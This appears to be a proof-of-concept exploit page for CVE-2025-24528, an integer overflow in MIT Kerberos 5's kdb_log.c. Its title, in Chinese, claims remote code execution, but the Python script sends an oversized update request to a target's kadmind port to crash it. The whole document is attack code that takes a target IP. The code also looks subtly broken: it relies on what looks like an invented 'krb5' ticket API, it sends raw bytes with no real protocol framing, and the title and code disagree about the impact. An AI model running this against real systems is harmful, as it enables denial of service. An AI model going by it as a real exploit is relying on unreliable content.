CVE-2025-24528: MIT Kerberos 5 kdb_log.c整数溢出导致远程代码执行

# CVE-2025-24528 PoC - MIT Kerberos 5 Integer Overflow in kdb_log.c # This PoC demonstrates triggering the integer overflow via malicious KDB update request # Note: Requires valid Kerberos credentials with low privileges import struct import socket import sys from krb5 import KerberosTicket def create_malicious_kdb_update(overflow_size): """ Construct a malicious KDB update request with oversized update field to trigger integer overflow in resize() function """ # KRB5 protocol header pvno = 5 msg_type = 14 # KRB5_MSG_PRIV # Craft malicious update payload # The key is the update_size field which triggers integer overflow update_size = overflow_size # e.g., 0xFFFFFFFF or similar large value # KDB update message structure update_packet = struct.pack('>I', 1) # Incremental propagation flag update_packet += struct.pack('>I', update_size) # Malicious size value update_packet += b'\x00' * 16 # Padding return update_packet def send_kadmind_request(target, port, ticket, payload): """ Send malicious request to kadmind service """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target, port)) # Send authentication context auth_data = ticket.get_authenticator() sock.send(auth_data) # Send malicious KDB update payload sock.send(payload) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def trigger_dos(target, kdc_port=749): """ Trigger denial of service by causing kadmind crash """ print(f"[*] Target: {target}") print(f"[*] Attempting to trigger integer overflow...") # Acquire valid ticket (requires low-privilege account) ticket = KerberosTicket(f"user@REALM", target) # Create malicious payload with oversized update # 0xFFFFFFFF triggers integer overflow in resize calculation payload = create_malicious_kdb_update(0xFFFFFFFF) print("[*] Sending malicious KDB update request...") response = send_kadmind_request(target, kdc_port, ticket, payload) if response: print("[*] Response received - kadmind may be vulnerable") else: print("[+] DOS triggered - service crashed or unavailable") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-24528-poc.py <target_ip>") sys.exit(1) trigger_dos(sys.argv[1])